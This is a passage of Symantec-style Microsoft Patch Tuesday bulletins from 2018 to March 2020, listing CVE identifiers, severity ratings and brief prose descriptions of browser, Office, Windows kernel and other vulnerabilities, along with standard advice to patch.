Microsoft Video Control Elevation of Privilege Vulnerability (CVE-2018-0881) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Microsoft Video Control mishandles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in system mode.
Windows Desktop Bridge Elevation of Privilege Vulnerability (CVE-2018-0882) MS Rating: Important
A privilege escalation vulnerability exists in Windows when Desktop Bridge does not properly manage the virtual registry. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Shell Remote Code Execution Vulnerability (CVE-2018-0883) MS Rating: Important
A remote code execution vulnerability exists when Windows Shell does not properly validate file copy destinations. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Windows Security Bypass Vulnerability (CVE-2018-0884) MS Rating: Important
A security bypass vulnerability exists in Windows Scripting Host which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
CredSSP Remote Code Execution Vulnerability (CVE-2018-0886) MS Rating: Important
A remote code execution vulnerability exists in the Credential Security Support Provider protocol (CredSSP).
CNG Security Bypass Vulnerability (CVE-2018-0902) MS Rating: Important
A security bypass vulnerability exists in the Cryptography Next Generation (CNG) kernel-mode driver (cng. sys) when it fails to properly validate and enforce impersonation levels.
Windows Storage Services Elevation of Privilege Vulnerability (CVE-2018-0983) MS Rating: Important
A privilege escalation vulnerability exists when Storage Services improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – March 2019
This month the vendor has patched 64 vulnerabilities, 17 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the March 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Windows
Jet Database Engine
Visual Studio
Windows Hyper-V
Team Foundation Server
Skype for Business and Lync
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0592) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0609) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0639) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-0666) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-0667) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0680) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2019-0763) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0769) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0770) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0771) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0773) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Privilege Escalation Vulnerability (CVE-2019-0678) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Edge does not properly enforce cross-domain policies, which could allow an attacker to access information from one domain and inject it into another domain. In a web-based attack scenario, an attacker could host a website that is used to attempt to exploit the vulnerability.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0746) MS Rating: Important
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Security Bypass Vulnerability (CVE-2019-0768) MS Rating: Important
A security bypass vulnerability exists when Internet Explorer VBScript execution policy does not properly restrict VBScript under specific conditions, and to allow requests that should otherwise be ignored. An attacker who successfully exploited the vulnerability could force the browser to send data that would otherwise be restricted.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-0772) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2019-0779) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Browser Memory Corruption Vulnerability (CVE-2019-0780) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0783) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Browsers Security Bypass Vulnerability (CVE-2019-0762) MS Rating: Important
A security bypass vulnerability exists when Microsoft browsers improperly handle requests of different origins. The vulnerability allows Microsoft browsers to bypass Same-Site cookie restrictions, and to allow requests that should otherwise be ignored.
Microsoft Edge Security Bypass Vulnerability (CVE-2019-0612) MS Rating: Important
A security bypass vulnerability exists when Click2Play protection in Microsoft Edge improperly handles flash objects. By itself, this bypass vulnerability does not allow arbitrary code execution. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2019-0665) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0611) MS Rating: Important
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0748) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0778) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Privilege Escalation Vulnerability (CVE-2019-0696) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0702) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0755) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0767) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0775) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Win32k Information Disclosure Vulnerability (CVE-2019-0776) MS Rating: Important
An information disclosure vulnerability exists when the Win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0782) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Win32k Privilege Escalation Vulnerability (CVE-2019-0797) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-0808) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Windows DHCP Client Remote Code Execution Vulnerability (CVE-2019-0697) MS Rating: Critical
A memory corruption vulnerability exists in the Windows DHCP client when an attacker sends specially crafted DHCP responses to a client. An attacker who successfully exploited the vulnerability could run arbitrary code on the client machine.
Windows DHCP Client Remote Code Execution Vulnerability (CVE-2019-0698) MS Rating: Critical
A memory corruption vulnerability exists in the Windows DHCP client when an attacker sends specially crafted DHCP responses to a client. An attacker who successfully exploited the vulnerability could run arbitrary code on the client machine.
Windows DHCP Client Remote Code Execution Vulnerability (CVE-2019-0726) MS Rating: Critical
A memory corruption vulnerability exists in the Windows DHCP client when an attacker sends specially crafted DHCP responses to a client. An attacker who successfully exploited the vulnerability could run arbitrary code on the client machine.
MS XML Remote Code Execution Vulnerability (CVE-2019-0756) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker who successfully exploited the vulnerability could run malicious code remotely to take control of the user system.
Windows ActiveX Remote Code Execution Vulnerability (CVE-2019-0784) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ActiveX Data objects (ADO) handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Windows Deployment Services TFTP Server Remote Code Execution Vulnerability (CVE-2019-0603) MS Rating: Critical
A remote code execution vulnerability exists in the way that Windows Deployment Services TFTP Server handles objects in memory. An attacker who successfully exploited the vulnerability could execute arbitrary code with elevated permissions on a target system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0614) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-0682) MS Rating: Important
A privilege escalation vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Active Directory Privilege Escalation Vulnerability (CVE-2019-0683) MS Rating: Important
A privilege escalation vulnerability exists in Active Directory Forest trusts due to a default setting that lets an attacker in the trusting forest request delegation of a TGT for an identity from the trusted forest. To exploit this vulnerability, an attacker would first need to compromise an Active Directory forest.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-0689) MS Rating: Important
A privilege escalation vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-0692) MS Rating: Important
A privilege escalation vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-0693) MS Rating: Important
A privilege escalation vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-0694) MS Rating: Important
A privilege escalation vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows SMB Information Disclosure Vulnerability (CVE-2019-0703) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows SMB Server handles certain requests. An authenticated attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.
Windows SMB Information Disclosure Vulnerability (CVE-2019-0821) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows SMB Server handles certain requests. An authenticated attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.
Windows SMB Information Disclosure Vulnerability (CVE-2019-0704) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows SMB Server handles certain requests. An authenticated attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.
Windows Denial of Service Vulnerability (CVE-2019-0754) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
NuGet Package Manager Tampering Vulnerability (CVE-2019-0757) MS Rating: Important
A tampering vulnerability exists in the NuGet Package Manager for Linux and Mac that could allow an authenticated attacker to modify a NuGet package's folder structure. An attacker who successfully exploited this vulnerability could potentially modify files and folders that are unpackaged on a system.
Windows Print Spooler Information Disclosure Vulnerability (CVE-2019-0759) MS Rating: Important
An information disclosure vulnerability exists when the Windows Print Spooler does not properly handle objects in memory. An attacker who successfully exploited this vulnerability could use the information to further exploit the victim system.
Internet Explorer Security Bypass Vulnerability (CVE-2019-0761) MS Rating: Important
A security bypass vulnerability exists when Internet Explorer fails to validate the correct Security Zone of requests for specific URLs. This could allow an attacker to cause a user to access a URL in a less restricted Internet Security Zone than intended.
Comctl32 Remote Code Execution Vulnerability (CVE-2019-0765) MS Rating: Important
A remote code execution vulnerability exists in the way that comctl32.dll handles objects in memory.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-0766) MS Rating: Important
A privilege escalation vulnerability exists in Windows AppX Deployment Server that allows file creation in arbitrary locations. To exploit the vulnerability, an attacker would first have to log on to the system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0774) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0617) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Security Update for Microsoft Windows Hyper-V
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0690) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Hyper-V Denial of Service Vulnerability (CVE-2019-0695) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Hyper-V Denial of Service Vulnerability (CVE-2019-0701) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Security Update for Visual Studio
Visual Studio Remote Code Execution Vulnerability (CVE-2019-0809) MS Rating: Important
A remote code execution vulnerability exists when the Visual Studio C++ Redistributable Installer improperly validates input before loading dynamic link library (.DLL) files. An attacker who successfully exploited the vulnerability could execute arbitrary code in the context of the current user.
Security Update for Team Foundation Server
Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0777) MS Rating: Low
A Cross-site Scripting (XSS) vulnerability exists when Team Foundation Server does not properly sanitize user provided input. An authenticated attacker could exploit the vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Security Update for Skype for Business and Lync
Skype for Business and Lync Spoofing Vulnerability (CVE-2019-0798) MS Rating: Important
A spoofing vulnerability exists when a Lync Server or Skype for Business Server does not properly sanitize a specially crafted request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected server.
Security Update for Azure
Azure SSH Keypairs Security Bypass Vulnerability (CVE-2019-0816) MS Rating: Moderate
A security feature bypass exists in Azure SSH Keypairs, due to a change in the provisioning logic for some Linux images that use cloud-init. Extraneous Microsoft service public keys can be unexpectedly added to the VM authorized keys file in the limited scenarios.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – March 2020
This month the vendor has patched 115 vulnerabilities, 25 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the March 2020 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Windows Kernel
Microsoft Graphics Component
Microsoft Exchange Server
Visual Studio
Azure DevOps
Microsoft Defender
Application Inspector
Remote Desktop Connection Manager
Microsoft Dynamics
Microsoft Azure Service Fabric
The following is a breakdown of the issues being addressed this month:
Cumulative Security Updates for Microsoft Browsers
Microsoft Browser Memory Corruption Vulnerability (CVE-2020-0768) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2020-0811) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based)L. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2020-0812) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based)L. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Memory Corruption Vulnerability (CVE-2020-0816) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0823) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2020-0824) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0825) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0826) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0827) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0828) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0829) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Browser Memory Corruption Vulnerability (CVE-2020-0830) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0831) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0832) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0833) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
VBScript Remote Code Execution Vulnerability (CVE-2020-0847) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0848) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2020-0813) MS Rating: Important
An information disclosure vulnerability exists when Chakra improperly discloses the contents of its memory, which could provide an attacker with information to further compromise the user's computer or data. To exploit the vulnerability, an attacker must know the memory address of where the object was created.
Cumulative Security Updates for Microsoft Office
Microsoft SharePoint Reflective XSS Vulnerability (CVE-2020-0795) MS Rating: Important
This vulnerability is caused when SharePoint Server does not properly sanitize a specially crafted request to an affected SharePoint server. An authenticated attacker could exploit this vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Word Remote Code Execution Vulnerability (CVE-2020-0850) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2020-0851) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2020-0852) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2020-0855) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft SharePoint Reflective XSS Vulnerability (CVE-2020-0891) MS Rating: Important
This vulnerability is caused when SharePoint Server does not properly sanitize a specially crafted request to an affected SharePoint server. An authenticated attacker could exploit this vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Word Remote Code Execution Vulnerability (CVE-2020-0892) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0893) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0894) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Updates for Microsoft Windows
Media Foundation Memory Corruption Vulnerability (CVE-2020-0801) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Media Foundation Memory Corruption Vulnerability (CVE-2020-0807) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Media Foundation Memory Corruption Vulnerability (CVE-2020-0809) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Media Foundation Memory Corruption Vulnerability (CVE-2020-0869) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
LNK Remote Code Execution Vulnerability (CVE-2020-0684) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows that could allow remote code execution if a . LNK file is processed.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0779) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when MSI packages process symbolic links. An attacker who successfully exploited this vulnerability could bypass access restrictions to add or remove files.
Windows UPnP Service Privilege Escalation Vulnerability (CVE-2020-0781) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges.
Windows UPnP Service Privilege Escalation Vulnerability (CVE-2020-0783) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges.
Windows User Profile Service Privilege Escalation Vulnerability (CVE-2020-0785) MS Rating: Important
A privilege escalation vulnerability exists when the Windows User Profile Service (ProfSvc) improperly handles symlinks. An attacker who successfully exploited this vulnerability could delete files and folders in an elevated context.
Windows Tile Object Service Denial of Service Vulnerability (CVE-2020-0786) MS Rating: Important
A denial of service vulnerability exists when the Windows Tile Object Service improperly handles hard links. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Windows Background Intelligent Transfer Service Privilege Escalation Vulnerability (CVE-2020-0787) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Background Intelligent Transfer Service (BITS) improperly handles symbolic links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Diagnostics Hub Standard Collector Privilege Escalation Vulnerability (CVE-2020-0793) MS Rating: Important
A privilege escalation vulnerability exists when the Diagnostics Hub Standard Collector improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0798) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when the Windows Installer fails to properly sanitize input leading to an insecure library loading behavior. A locally authenticated attacker could run arbitrary code with elevated system privileges.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2020-0806) MS Rating: Important
A privilege escalation vulnerability exists in Windows Error Reporting (WER) when WER handles and executes files. The vulnerability could allow Privilege Escalation if an attacker can successfully exploit it.
Provisioning Runtime Privilege Escalation Vulnerability (CVE-2020-0808) MS Rating: Important
